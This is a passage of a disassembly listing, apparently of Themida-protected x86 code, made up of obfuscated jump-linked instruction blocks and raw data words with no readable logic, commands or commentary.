0EA59E7CBh, 14F7533Eh, 0C3815B24h, 0B40CC3CBh, 815BDD89h dd 0D69E7F5h, 33BF5734h, 5156D2Bh, 4C5C6D3Dh, 3D2DF801h dd 5F4C5C6Dh, 332DE801h, 0E9156D2Bh, 1CF0h, 55A3BD55h dd 0FCE91A33h, 1FFFFC9h, 0ABC281FAh, 0E91AC068h, 0FFFF65B3h dd 0C781E789h, 4, 423EE9h db 0 ; --------------------------------------------------------------------------- loc_54D369: ; CODE XREF: Themida_:00543B99j mov ebx, [esp] add esp, 4 push ecx jmp loc_556132 ; --------------------------------------------------------------------------- loc_54D375: ; CODE XREF: Themida_:005437EDj pop ecx add ecx, edi pop edi sub ecx, 47B133FDh add ecx, edx add ecx, 47B133FDh jmp loc_5523FD ; --------------------------------------------------------------------------- loc_54D38C: ; CODE XREF: Themida_:00546993j sub ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 50C9252Ah push ecx push edi jmp loc_54D121 ; --------------------------------------------------------------------------- dw 0F829h dd 0FF7081E9h, 4EC83FFh, 68242C89h, 0 dd 94AEE9h db 0 ; --------------------------------------------------------------------------- loc_54D3C1: ; CODE XREF: Themida_:00544B42j mov ebx, 0C7B591Ch jmp loc_551DF4 ; --------------------------------------------------------------------------- loc_54D3CB: ; CODE XREF: Themida_:0054DD47j pop esp sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ebp mov ebp, 38B97F29h jmp loc_54EA39 ; --------------------------------------------------------------------------- dd 6C6CB850h, 0C7890AD1h, 0EAE78158h, 0E92D892Ch, 0FFFFC789h dd 26B5EB81h, 0F30114E9h, 26B5C381h, 575E14E9h, 2BFBE56h dd 0E9552620h, 0FFFF8D72h ; --------------------------------------------------------------------------- loc_54D418: ; CODE XREF: Themida_:0054945Ej push ebx mov ebx, 0D481D2Eh dec ebx neg ebx push 477Ah mov [esp], ebp push edi mov edi, 6E073700h mov ebp, 84B0ABD7h add ebp, edi pop edi xor ebx, ebp pop ebp add ebp, ebx pop ebx sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax push 494Eh mov [esp], ebp push esp pop ebp push 63B1h mov [esp], ecx mov ecx, 1C54198Fh add ecx, 0E3ABE675h add ebp, ecx pop ecx jmp loc_549AD8 ; --------------------------------------------------------------------------- db 81h dd 201A8CC2h, 0E9D789FDh, 0FFFFF963h, 2071CA81h, 0EA81131Fh dd 29AD1471h, 315AD729h, 7040E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D49E: ; CODE XREF: Themida_:0054E977j mov esi, edi pop edi push dword ptr [esp] mov eax, [esp] jmp loc_555B1A ; --------------------------------------------------------------------------- loc_54D4AC: ; CODE XREF: Themida_:00554D40j add eax, 71886069h pop ebx xchg eax, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_54C06B ; --------------------------------------------------------------------------- loc_54D4C0: ; CODE XREF: Themida_:00545B04j pop ebp sub edx, 28B51E45h sub edx, eax add edx, 28B51E45h jmp loc_553254 ; --------------------------------------------------------------------------- loc_54D4D4: ; CODE XREF: Themida_:005557DEj add eax, edx add eax, 8C43B3h push esi mov esi, 79F662DFh jmp loc_549304 ; --------------------------------------------------------------------------- loc_54D4E6: ; CODE XREF: Themida_:00549134j mov [esp], ebp mov ebp, 233F7DE6h sub ebp, 233F7DE2h add edx, ebp jmp loc_55427E ; --------------------------------------------------------------------------- db 81h dd 4EFh, 7B8CE900h, 0B951FFFFh, 3B9244CFh, 2959C801h, 24048BC3h dd 4C481h, 0E3C10000h, 42C38105h, 1CEA4BCh, 0B0E7E9D8h dd 0F66FFFFh, 5166C8B6h, 6B1DE99Ch, 0E681FFFFh, 2CF80FF7h dd 0EA68DEF7h, 0E9000067h, 0FFFF6990h ; --------------------------------------------------------------------------- loc_54D548: ; CODE XREF: Themida_:00548BCFj pop edx add bl, al jmp loc_54E72B ; --------------------------------------------------------------------------- dd 0F433E95Bh, 0EF80FFFFh, 2DC78061h, 0EF80CF28h, 2434FF2Dh dd 4C48159h, 2C000000h, 96B55130h, 0E959E800h, 0FFFFB2BFh ; --------------------------------------------------------------------------- loc_54D578: ; CODE XREF: Themida_:005494BBj sub esp, 4 jmp loc_557862 ; --------------------------------------------------------------------------- loc_54D580: ; CODE XREF: Themida_:00551192j pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_5456D0 ; --------------------------------------------------------------------------- db 8Bh dd 0E6E92414h, 1FFFFF0h, 63E95FFAh, 66FFFF78h, 8124048Bh dd 4ECh, 24348900h, 5B2FE9h, 23AFBE00h, 0F1091F5Ah, 55D9F75Eh dd 3D4781BDh, 2AB9517Eh, 214D1E2Bh, 60E959CDh, 89FFFF5Eh dd 0C1E92414h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D5E3: ; CODE XREF: Themida_:00552F33j mov [esp], edx mov edx, 68AD35CFh xor ebx, edx mov edx, [esp] add esp, 4 jmp loc_54A9D8 ; --------------------------------------------------------------------------- dd 4C481h, 0D7F70000h, 0F701C783h, 0A2F781DFh, 0E981DF48h dd 0FFFFB00Dh ; --------------------------------------------------------------------------- loc_54D610: ; CODE XREF: Themida_:00551BA4j mov edx, 3E5BACh and edx, 34872211h add edx, 522D54D4h jmp loc_54715C ; --------------------------------------------------------------------------- dw 0D0F7h dd 53D68792h, 1F2DFCBBh, 68566Ch, 5E000000h, 0D6E9DE29h dd 33FFFF85h, 4312404h, 24043324h, 61C3E95Ch, 0C3290000h dd 81C32958h, 4ECh, 240C8900h, 140B850h, 81B900B1h, 317E6610h dd 0BE6EE9C1h, 565FFFFFh, 7FF6853h, 0C15B58AEh, 57E907E3h dd 0ADFFFF64h, 83666505h, 0FFDE968h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D68A: ; CODE XREF: Themida_:0054F018j push ebx mov bh, 4Fh and dh, bh jmp loc_54AD16 ; --------------------------------------------------------------------------- dd 0C1815954h, 4, 0FF6E26E9h, 300868FFh, 3C890000h, 9FB95124h dd 0E93EA026h, 500Ch, 8B2434FFh, 89502404h, 52E952E0h dd 81FFFF62h, 6D042444h, 0E9065812h, 3F6h, 4EC81h, 34890000h dd 65EA6824h, 348B34BFh, 4C48124h, 81000000h, 8961ECE6h dd 670AE975h, 8158FFFFh, 2705B1EDh, 1ED8128h, 56000000h dd 0FFFFFF68h, 24348BFFh, 4C481h, 0F5010000h, 0E9D5F75Eh dd 9ECDh, 4EBFE381h, 0EB8111A0h, 80007Ch, 0FFD495E9h, 241487FFh dd 0FC3305Ch, 34FFC0B6h, 2434FF87h, 0FFCD8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D73D: ; CODE XREF: Themida_:00553E3Dj push edi push edx mov edx, 2DD1583Eh jmp loc_550BB3 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0E0h dd 4505306Dh, 0F581D5F7h, 70B9100Dh, 94BB53h, 0D2E94428h dd 81FFFFDAh, 1430EBCBh, 4EC8119h, 89000000h, 97BD242Ch dd 8157E81Fh, 7F369FEDh, 7DF5815Eh, 8158F249h, 0F9FF85F5h dd 0E6EB81EFh, 1495A23h, 0BA11E9EBh, 0FE87FFFFh, 217E9h dd 0C896600h, 28C3E924h, 74FF0000h, 0E9580424h, 8300h dd 0BAE9C229h, 5BFFFF8Fh, 7467E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D7BE: ; CODE XREF: Themida_:00551171j inc ebx not ebx xor ebx, 17BC5525h xor ebx, 0E114E49Bh push ebx mov ebx, 4E5D4EA2h add eax, ebx pop ebx sub eax, 563D4EA8h add eax, ebx add eax, 563D4EA8h sub eax, 4E5D4EA2h jmp loc_544007 ; --------------------------------------------------------------------------- dd 4BD5553h, 0E9000000h, 0FFFF90E4h ; --------------------------------------------------------------------------- loc_54D7F8: ; CODE XREF: Themida_:00544F16j add esp, 4 mov ecx, [ebx] pop ebx sub esp, 4 mov [esp], ebp jmp loc_54C070 ; --------------------------------------------------------------------------- dd 34FFC801h, 0E9515924h, 0FFFF7AB1h, 0E924348Bh, 6818h dd 1124BE56h, 0C68165E2h, 7F9C4FB4h, 0DEF7D6F7h, 0C106EEC1h dd 0F68104E6h, 707E9507h, 815EF529h, 2F0504EDh, 0BDC58143h dd 14D9E55h, 79DFE9C5h, 0D7F7FFFFh, 0FF78147h, 0C1580525h dd 0DE904E7h, 33000025h, 1C31241Ch, 241C3324h, 6624248Bh dd 9C243CD3h, 0FF4E93E9h, 24148BFFh, 47D9E956h, 0C3810000h dd 7EF96B26h, 80C5E9h db 0 ; --------------------------------------------------------------------------- loc_54D88D: ; CODE XREF: Themida_:00553116j pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55058C ; --------------------------------------------------------------------------- db 66h dd 6EE9D9F7h, 2D000051h, 66914EBh, 0E958C589h, 7745h ; --------------------------------------------------------------------------- loc_54D8B8: ; CODE XREF: Themida_:0054724Fj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54431B ; --------------------------------------------------------------------------- loc_54D8CE: ; CODE XREF: Themida_:005446A8j push eax mov eax, 4 sub ebp, eax pop eax jmp loc_543BF2 ; --------------------------------------------------------------------------- dd 0E9243C89h, 354h ; --------------------------------------------------------------------------- loc_54D8E4: ; CODE XREF: Themida_:00549876j pop esp push 26h jmp loc_5482E0 ; --------------------------------------------------------------------------- db 66h dd 3E9028Fh, 8BFFFFE5h, 0C481240Ch, 4, 0EB06A62Dh, 7E06056Ah dd 0D82957F9h, 0F97E062Dh, 0BF575257h, 3E242842h, 1590CF81h dd 0F781162Fh, 63EA1A43h, 835FFA89h, 11E9FFC2h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D92F: ; CODE XREF: Themida_:00556038j mov esi, 4 add [esp+4], esi jmp loc_54BF0D ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 53D88B8h, 5E8C173h, 503E8C1h, 0FF8CFAC7h, 158C189h dd 1C8759CBh, 24248B24h, 3853BA52h, 0EAC174DCh, 0CEC28104h dd 810AC01Bh, 96D73BF2h, 8BD30164h, 0C4812414h, 4, 61BAE9h dd 0BEC58100h, 14F693Dh, 0DAE951FDh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D98F: ; CODE XREF: Themida_:005458A5j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54E1CE ; --------------------------------------------------------------------------- dw 0A768h dd 8B24B531h, 89522434h, 4C281E2h, 0E9000000h, 0FFFF4F1Eh dd 5EC9E957h, 0EB010000h, 4B8505Dh, 55000000h, 0F5F48BDh dd 0C5814508h, 3197C88Ch, 36E9EB01h, 3300007Ah, 248B240Ch dd 48B6624h, 2C18E924h, 0C3290000h, 0A12AE958h, 487FFFFh dd 0C895C24h, 0ACAB924h, 86E90B16h, 51FFFFF6h, 0AD76C1B9h dd 44F1817Ah, 893ABA3Eh, 240C8BCDh, 4C481h, 0ED830000h dd 0C5814D01h, 4CC83D72h, 3142E9h db 0 ; --------------------------------------------------------------------------- loc_54DA25: ; CODE XREF: Themida_:00543121j pop ecx jmp loc_5472FC ; --------------------------------------------------------------------------- db 2Ch dd 4D8009Fh, 0B753669Fh, 66F8286Fh, 81241C8Bh, 2C4h, 4EC8100h dd 89000000h, 0B450241Ch, 0A086E94Dh, 34FF0000h, 7685924h dd 8900001Ch, 5B54241Ch, 8259E9h, 0A3E28100h, 812E3D6Eh dd 20C32EF2h, 5AD331A0h, 11EAE981h, 0D90140D2h, 11EAC181h dd 64E940D2h, 68000001h, 33E51C39h, 4EB5E9h db 0 ; --------------------------------------------------------------------------- loc_54DA91: ; CODE XREF: Themida_:0054AF7Bj sub esp, 4 jmp loc_54B7C3 ; --------------------------------------------------------------------------- loc_54DA99: ; CODE XREF: Themida_:0054E233j push edx jmp loc_549BE0 ; --------------------------------------------------------------------------- db 2Dh dd 43801745h, 4505C829h, 68438017h, 38A8h, 0BE243489h dd 301C2DBEh, 68h, 24342900h, 5A66E95Eh, 74010000h, 6C810424h dd 126D0424h, 6C810658h, 1E3D0424h, 34FF5B4Dh, 0F1685E24h dd 8900000Dh, 0E589242Ch, 4C581h, 0EC830000h, 24348904h dd 4BEh, 9245E900h, 405FFFFh, 83000000h, 0A0E904C0h, 5E00006Eh dd 0EB81EB29h, 3E8B09E3h, 0E9242C8Bh, 695h, 3104C483h dd 2434FFD0h, 6AC9685Ah, 2C890000h, 81E58924h, 4C5h, 4C58100h dd 87000000h, 248B242Ch, 53BB5324h, 51645035h, 615CE953h dd 4BD0000h, 0E9000000h, 0FFFFFE62h ; --------------------------------------------------------------------------- loc_54DB58: ; CODE XREF: Themida_:00549615j pop esp mov [esp], edi push esp pop edi jmp loc_54DE2C ; --------------------------------------------------------------------------- db 2Dh dd 18C71E79h, 0FFE383E9h, 4C481FFh, 57000000h, 243C8B54h dd 4C481h, 0EC830000h, 242C8904h, 468h, 0C7815D00h, 5E5E68E1h dd 0EC83EF01h, 24148904h, 4EC81h, 34890000h, 44B4BE24h dd 0DEF70DD8h, 3E63CE81h, 0D6F7281Ah, 81D6F746h, 61D78FF6h dd 0EA7DE9A4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBBE: ; CODE XREF: Themida_:0054CFDFj sub ebx, 466609C6h pop eax push esi push ebp push ecx jmp loc_550FFE ; --------------------------------------------------------------------------- db 29h, 0C8h, 59h dd 73609B2Dh, 3DF92D78h, 0F0293DE9h, 0E93DF905h, 609B053Dh dd 9AE97873h, 5B000079h, 0FF4D32E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DBF1: ; CODE XREF: Themida_:0054E8D2j sub bl, 1 push edx push esp pop edx add edx, 4 sub edx, 2 jmp loc_54673A ; --------------------------------------------------------------------------- loc_54DC08: ; CODE XREF: Themida_:00542A9Aj push ecx push 3E334451h mov ecx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shl ecx, 6 or ecx, 724237F2h sub esp, 4 mov [esp], eax jmp loc_555495 ; --------------------------------------------------------------------------- db '¿ÄšÊ',0 aS4 db 'é{4',0 align 2 dw 0C181h dd 4, 4C181h, 0C870000h, 24248B24h, 2474FF55h, 48F5D04h dd 0F665C24h, 9C2404B3h, 0FF4AA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC69: ; CODE XREF: Themida_:0054C4E6j sub esp, 4 jmp loc_557A80 ; --------------------------------------------------------------------------- dd 2434875Dh, 2434FF5Ch, 81241C8Bh, 4C4h, 0F8E95700h, 87FFFFD1h dd 0F9BA52D1h, 963B842h, 2434FFD1h, 8D95E95Ah, 0C581FFFFh dd 59DC0C7Eh, 8518E9h, 5E8C100h, 309A0C05h, 58C1016Bh dd 0FFB39CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DCB9: ; CODE XREF: Themida_:00547BDFj push eax push ebx mov ebx, 628F5177h xor ebx, 32B12199h shr ebx, 6 add ebx, 714908C7h shr ebx, 2 jmp loc_54E922 ; --------------------------------------------------------------------------- db 66h dd 51241489h, 5D23E9h db 0 ; --------------------------------------------------------------------------- loc_54DCE1: ; CODE XREF: Themida_:00550B26j mov ecx, 4 jmp loc_552C35 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 1A9EE9h, 4EF8300h, 0E9243C87h, 0FFFF5D81h dd 8F04C483h, 4832404h, 0F9E90424h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD13: ; CODE XREF: Themida_:0054554Cj mov bp, [esp] push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 2 xchg ebp, [esp] jmp loc_54CA41 ; --------------------------------------------------------------------------- loc_54DD2E: ; CODE XREF: Themida_:0055289Bj push 4AB1h mov [esp], esi sub esp, 4 mov [esp], ebx jmp loc_5565B4 ; --------------------------------------------------------------------------- loc_54DD44: ; CODE XREF: Themida_:00546BE2j xor edx, [esp] jmp loc_54D3CB ; --------------------------------------------------------------------------- dd 1C57EF81h, 0CF0130F9h, 623EBD55h, 0C5812696h, 0A62BA19h dd 2C8BEF01h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 4CDD68h, 240C8900h, 0F67B41B9h, 0CDEF8110h, 13FAC6Bh dd 8153E9CFh, 0E9580000h, 4352h, 6CBCB951h, 0CB016BF3h dd 81240C8Bh, 4C4h, 0EC835600h, 240C8904h, 2209CCB9h, 0C7C98151h dd 497B0E4Dh, 0E181D1F7h, 0A894DEDh, 0FF7515E9h, 66F9F6FFh dd 66CCB60Fh, 664DD468h, 0E9240C89h, 0FFFFF74Eh ; --------------------------------------------------------------------------- loc_54DDDC: ; CODE XREF: Themida_:00547AA4j not ebp push ebp not dword ptr [esp] pop ebp add ebp, 7CBB9B71h add edi, 6E29714Ch jmp loc_545601 ; --------------------------------------------------------------------------- aIqyrsj6 db 'ˆïYRé¦6',0 db 0 ; --------------------------------------------------------------------------- loc_54DDFD: ; CODE XREF: Themida_:005438D4j push 175Ch mov [esp], ecx mov ecx, 4A601CA2h push ecx push eax mov eax, 64324308h add dword ptr [esp+4], 0C7D7D53h sub [esp+4], eax sub dword ptr [esp+4], 0C7D7D53h pop eax pop esi jmp loc_54BEF6 ; --------------------------------------------------------------------------- loc_54DE2C: ; CODE XREF: Themida_:0054DB5Ej push 608Ch mov [esp], ebx mov ebx, 4 sub edi, 3D70766Fh add edi, ebx jmp loc_54E26E ; --------------------------------------------------------------------------- dw 0C1E9h dd 0BBFFFF48h, 4, 15BDF89h, 0BA525FF8h, 4, 875AD029h, 895C2404h dd 4BD242Ch, 0E9000000h, 0FFFFC403h ; --------------------------------------------------------------------------- loc_54DE70: ; CODE XREF: Themida_:0054E4F2j mov esp, [esp] pop dword ptr [esp] mov esp, [esp] push 30BEh mov [esp], ecx mov ecx, 0 sub ecx, 4CAB2B7Ah add ecx, edx add ecx, 4CAB2B7Ah push 7776h mov [esp], edi mov edi, esp push ebx mov ebx, 5CF941BCh jmp loc_54ECE6 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0EC815854h, 4, 89243C89h, 4C781E7h, 0E9000000h, 0FFFFF637h dd 0F56C7805h, 0D8F7481Eh, 4802E0C1h, 0B62DBB53h, 0D831A867h dd 58C2015Bh, 7DE9C201h, 0Dh, 6F045AD0h, 0FFFB3EE9h, 59B4FFh dd 68A0E9F4h, 0F201FFFFh, 13A1055Eh, 11054738h, 129AD46h dd 46112DD0h, 0BF5729ADh, 473813A1h, 0FF5FF829h, 515A2434h dd 0FF5C57E9h, 18E281FFh, 817CC42Ah, 6227C1EAh, 0BFE9CEh dd 57580000h, 955997BFh, 0EEF3E937h, 0C781FFFFh, 4, 0FFEA8FE9h dd 0BE565DFFh, 35C950A3h, 81EED146h, 1B57B2C6h, 8BF501E5h dd 0C4832434h, 8F92E904h, 0B551FFFFh, 0EF58069h, 2C7FF580h dd 4E80087h, 240C8B87h, 4C481h, 0D8280000h, 806DB652h dd 0F028ABC6h, 8124148Bh, 4C4h, 52515200h, 8892B450h, 0E68058E6h dd 0C0D6F6A0h, 0C6FE07E6h, 8836C680h, 24148BF5h, 4C481h dd 84680000h, 89000022h, 0B450240Ch, 80DFB578h, 0B753B2C5h dd 5BFD00A6h, 0ED80E528h, 24048BA6h, 4C481h, 3DE90000h dd 100003Ch, 0B580E9FDh, 1C33FFFFh, 24248B24h, 24048966h dd 0FF471FE9h, 5AD001FFh, 50C3315Dh, 68535854h, 4, 5E37E95Bh dd 0EC81FFFFh, 4, 2ED9E9h, 241C8900h, 628CE9h db 0 ; --------------------------------------------------------------------------- loc_54E015: ; CODE XREF: Themida_:00554109j push ecx mov ecx, 4FC91D87h jmp loc_54F987 ; --------------------------------------------------------------------------- dd 8324048Bh, 40E904C4h, 2DFFFFD6h, 2BB50888h, 0E92434FFh dd 9B1Eh, 0C8BC831h, 4C48324h, 0CFAE953h, 0C6830000h, 24348704h dd 0FF9183E9h, 242C33FFh, 30FF665Ch, 0FF46AFE9h, 0C4835BFFh dd 0E9515704h, 2784h ; --------------------------------------------------------------------------- loc_54E068: ; CODE XREF: Themida_:00545D6Bj rep movsd add esp, [edx+38h] push 3369h jmp loc_5444AC ; --------------------------------------------------------------------------- db 80h dd 0EC83E0C3h, 4896602h, 66FDB024h, 0E9A0B753h, 0FFFF625Ch dd 22A7BD55h, 0BB535EE3h, 3C315F24h, 815BDD31h, 1539F4CDh dd 0E9D5F779h, 14E3h, 7BC1815Dh, 0E9AF13C8h, 0FFFF68E9h dd 0C4F2815Eh, 8145FC71h, 0F030CDC2h, 5AD02996h, 74A968h dd 240C8900h, 0C7507D68h, 0C8315962h, 0FFDEE1E9h, 4AE952FFh dd 29000050h, 0EA815AD7h, 1AC068ABh, 0FFF262E9h, 0CAB850FFh dd 0C16EA42Dh, 0FF2D07E8h, 48FFFFFFh, 9F2DE0D1h, 29AB8E79h dd 77E958C5h, 89FFFFABh, 4C181E1h, 83000000h, 0C8704C1h dd 2C875C24h, 0F665C24h, 9C2404ABh, 282EE9h, 4C68100h dd 81000000h, 4EEh, 24348700h, 0FFB283E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E13D: ; CODE XREF: Themida_:00552106j add esp, 4 and eax, esi pop esi shr eax, 0Ch xor eax, ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5561A6 ; --------------------------------------------------------------------------- db 8Fh dd 0AFE92404h, 81FFFF78h, 0F2689FE9h, 2AE98158h, 1541B24h dd 809DE9F9h, 0F501FFFFh, 0AE9505Eh, 0BBFFFFB2h, 5E48713Ah dd 0FD2E381h, 0EB8159C2h, 3151A455h, 5A5BDF01h, 0FFB439E9h dd 1E3168FFh, 2C890000h, 57E58924h, 4BFh, 0E9FD0100h, 137Bh ; --------------------------------------------------------------------------- loc_54E1C8: ; CODE XREF: Themida_:00550E0Ej pop edi jmp loc_54B396 ; --------------------------------------------------------------------------- loc_54E1CE: ; CODE XREF: Themida_:0054D999j push 2476h mov [esp], edi push 1 pop edi and eax, edi mov edi, [esp] sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push ecx mov ecx, 1C0C13B4h dec ecx shl ecx, 5 xor ecx, 81827664h jmp loc_54C477 ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048124h, 4, 1D24E9h db 0 ; --------------------------------------------------------------------------- loc_54E215: ; CODE XREF: Themida_:00549F60j add edi, 46AD5DE9h jmp loc_54BE33 ; --------------------------------------------------------------------------- dd 5A2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54549E ; --------------------------------------------------------------------------- loc_54E22C: ; CODE XREF: Themida_:00546D10j pop ebx sub esp, 4 mov [esp], ebx jmp loc_54DA99 ; --------------------------------------------------------------------------- dd 0B551AE2Ch, 2EDC058h, 2880ED80h, 46E959E8h, 31FFFF53h dd 0E0C15DE8h, 0FFFF2D03h, 2B05FFFFh, 50A327ABh, 0FFA0BCE9h dd 815D54FFh, 4C5h, 7E44E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E26E: ; CODE XREF: Themida_:0054DE41j add edi, 3D70766Fh pop ebx push 983h mov [esp], edx sub esp, 4 mov [esp], edi push 4AD83D56h jmp loc_553F5C ; --------------------------------------------------------------------------- dd 172A68h, 241C8900h, 74E9E389h, 0BA000021h, 483F498Fh dd 3116E281h, 0E2D105B6h, 8108E2C1h, 4ECh, 24348900h, 771A00BEh dd 0A2A4E91Ch, 5266FFFFh, 0D30028B2h, 0E7E95A66h, 0BEFFFF6Bh dd 51CBA526h, 1214C681h, 0CE0140F6h, 1214EE81h, 34FF40F6h dd 0C4815924h, 4, 0FFD5CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E2F1: ; CODE XREF: Themida_:00557918j pop ecx sub edx, ebx pop ebx add edx, 7D6C57EFh add edx, eax sub edx, 7D6C57EFh add edx, 86166BDh push esi mov esi, 62771ACCh neg esi and esi, 4EAE43BAh add esi, 0C98DF95h add edx, esi pop esi mov [edx], ecx mov edx, [esp] add esp, 4 jmp loc_54270C ; --------------------------------------------------------------------------- db 81h, 0EAh, 5Dh dd 0E96F3958h, 0FFFF4529h, 582434FFh, 3ED2E9h, 7A35BB00h dd 43E967D4h, 1FFFF44h, 0AEE81C6h, 0FF5FCC44h, 48B2434h dd 4C48124h, 52000000h, 0C281E289h, 4, 6804C283h, 3300h dd 0E9241489h, 4359h, 0E9240C8Bh, 0FFFF44ABh, 6458B850h dd 0E0C16102h, 4E8C107h, 0FFB199E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E391: ; CODE XREF: Themida_:00555CECj pop esi push ebp mov ebp, esp push edx mov edx, 497E5D2Eh sub edx, 0FFFFFFFFh xor edx, 497E5D2Bh sub ebp, 49A634F4h add ebp, edx add ebp, 49A634F4h pop edx add ebp, 4 xchg ebp, [esp] mov esp, [esp] shl eax, cl push eax push 7861h mov [esp], eax mov eax, 0FFFFFFFFh push eax mov eax, 3C813CE6h add [esp+8], eax pop eax push ebp mov ebp, 119F2905h sub [esp+8], ebp pop ebp jmp loc_54891E ; --------------------------------------------------------------------------- db 5Ah dd 88DC8850h, 0E9583867h, 0FFFF5C59h, 8959CD01h, 162D5DE8h dd 0E95AAF04h, 0FFFFF69Bh, 7C5CC281h, 0C8E94B62h, 0B8000007h dd 2, 1E45E9h db 0 ; --------------------------------------------------------------------------- loc_54E419: ; CODE XREF: Themida_:00553A5Fj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_5551A9 ; --------------------------------------------------------------------------- dw 0CF01h dd 5AC0EF81h, 815953E3h, 9F7184E9h, 0C0FDE962h, 0E700FFFFh dd 3E0458h, 0E93E2CF8h, 0FFFFE1A1h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 685C243Ch, 1F51h, 68241489h, 2AE8h, 517568h dd 5D3C6800h, 24890000h, 50A1E924h, 8B660000h, 30682404h dd 89000042h, 0E6892434h, 809DE9h, 80D7F600h, 0EF80E4E7h dd 217DE940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E4A2: ; CODE XREF: Themida_:00549A18j pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_545691 ; --------------------------------------------------------------------------- aRho db 'RhŽ$',0 align 4 dd 68241C89h, 151C23A0h, 40CB815Bh, 432E490Fh, 0F7EB8143h dd 532C0918h, 8124148Bh, 4C4h, 0BEE95B00h, 0FF00005Eh dd 58042474h, 0E924048Fh, 0CD4h ; --------------------------------------------------------------------------- loc_54E4E8: ; CODE XREF: Themida_:00547302j pop esp add ecx, 4 xchg ecx, [esp] jmp loc_54DE70 ; --------------------------------------------------------------------------- loc_54E4F7: ; CODE XREF: Themida_:0054B806j pop ebp push eax jmp loc_545C64 ; --------------------------------------------------------------------------- dw 0C87h aLSY db '$‹$$é',1Bh,'y',0 dd 24148B00h, 4C481h, 57500000h, 0FFE1DBE9h, 243C87FFh dd 8924248Bh, 31E92414h, 5EFFFF89h, 5AFDC181h, 0D9016596h dd 5AFDE981h, 1C8B6596h, 4C48324h, 8702C183h, 248B240Ch dd 4B26E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E54A: ; CODE XREF: Themida_:00554D3Aj mov eax, 0DEFAF717h add esi, eax pop eax add edx, esi pop esi jmp loc_5521B6 ; --------------------------------------------------------------------------- dw 0FC35h dd 29048A15h, 5E3FE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E566: ; CODE XREF: Themida_:00550DD0j xor edx, ebp jmp loc_555FB7 ; --------------------------------------------------------------------------- db 56h, 2 dup(0E9h) dd 59FFFFDAh, 524DE9h, 243C8B00h, 4C481h, 1C870000h, 24248B24h dd 24042166h, 417AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E592: ; CODE XREF: Themida_:00554695j add ecx, 0DEA7FECh and ecx, 2876638Ah or ecx, 4E4D6A0Dh add ecx, 163B7EEh or ebx, ecx jmp loc_54EA11 ; --------------------------------------------------------------------------- db 81h, 0EFh, 36h dd 10654CFh, 0BA525FF9h, 4, 875AD129h, 248B240Ch, 24348924h dd 0FF7AB6E9h, 0B8504BFFh, 53C963B2h, 8158C301h, 0E63A3FC3h dd 0E9DA89C1h, 8767h, 0E9243489h, 0FFFFA6A9h, 4B850h, 6AE90000h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E5FB: ; CODE XREF: Themida_:0054CA01j sub esp, 4 jmp loc_546C2E ; --------------------------------------------------------------------------- loc_54E606: ; CODE XREF: Themida_:00545BDFj push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_551944 ; --------------------------------------------------------------------------- db 68h dd 33E91026h, 85C5E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E622: ; CODE XREF: Themida_:00542728j inc bl or bl, 57h shr bl, 6 and bl, 3Eh jmp loc_54FE3F ; --------------------------------------------------------------------------- loc_54E632: ; CODE XREF: Themida_:005554A4j pop edi add edx, ebp mov ebp, [esp] jmp loc_546803 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0FFCD96E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E645: ; CODE XREF: Themida_:0054B5F5j add esp, 4 or edx, eax shl edx, 1 push ebx push 164D7969h jmp loc_552EDF ; --------------------------------------------------------------------------- db 56h dd 56EDB951h, 0C1815BA7h, 